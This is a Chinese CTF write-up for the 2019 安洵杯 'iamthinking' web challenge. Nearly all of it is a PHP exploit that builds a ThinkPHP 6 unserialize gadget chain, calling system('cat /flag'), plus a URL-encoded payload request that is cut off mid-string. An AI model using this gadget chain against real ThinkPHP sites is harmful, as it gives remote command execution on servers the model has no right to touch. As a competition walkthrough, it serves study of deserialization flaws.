iamthinking

发表于 2021-01-16 分类于 Challenge ， 2019 ， 安洵杯 ， Web
Challenge | 2019 | 安洵杯 | Web | iamthinking

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/6911

题目考点

- *反序列化*

解题思路

通过在上级目录下发现www.zip
审计源码，构造thinkphp6反序列化，同时需要绕过parse_url

EXP

```
<?php
namespace think {

    use think\model\concern\Attribute;
    use think\model\concern\Conversion;
    use think\model\concern\RelationShip;


    abstract class Model
    {
        use Conversion;
        use RelationShip;
        use Attribute;

        private $lazySave;
        protected $table;
        public function __construct($obj)
        {
            $this->lazySave = true;
            $this->table = $obj;
            $this->visible = array(array('hu3sky'=>'aaa'));
            $this->relation = array("hu3sky"=>'aaa');
            $this->data = array("a"=>'cat /flag');
            $this->withAttr = array("a"=>"system");
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $visible;
    }

    trait RelationShip
    {
        private $relation;
    }

    trait Attribute
    {
        private $data;
        private $withAttr;
    }
}

namespace think\model {
    class Pivot extends \think\Model
    {
    }
}

namespace {
    $a = new think\model\Pivot('');
    $b = new think\model\Pivot($a);

    echo urlencode(serialize($b));
}
```

```
///public/?payload=O%3A17%3A"think%5Cmodel%5CPivot"%3A6%3A%7Bs%3A21%3A"%00think%5CModel%00lazySave"%3Bb%3A1%3Bs%3A8%3A"%00%2A%00table"%3BO%3A17%3A"think%5Cmodel%5CPivot"%3A
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2019/安洵杯/Web/37mPwQMFcMM8sbb2AktLDW.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # Web # 2019 # 安洵杯
不是文件上传
CSS Game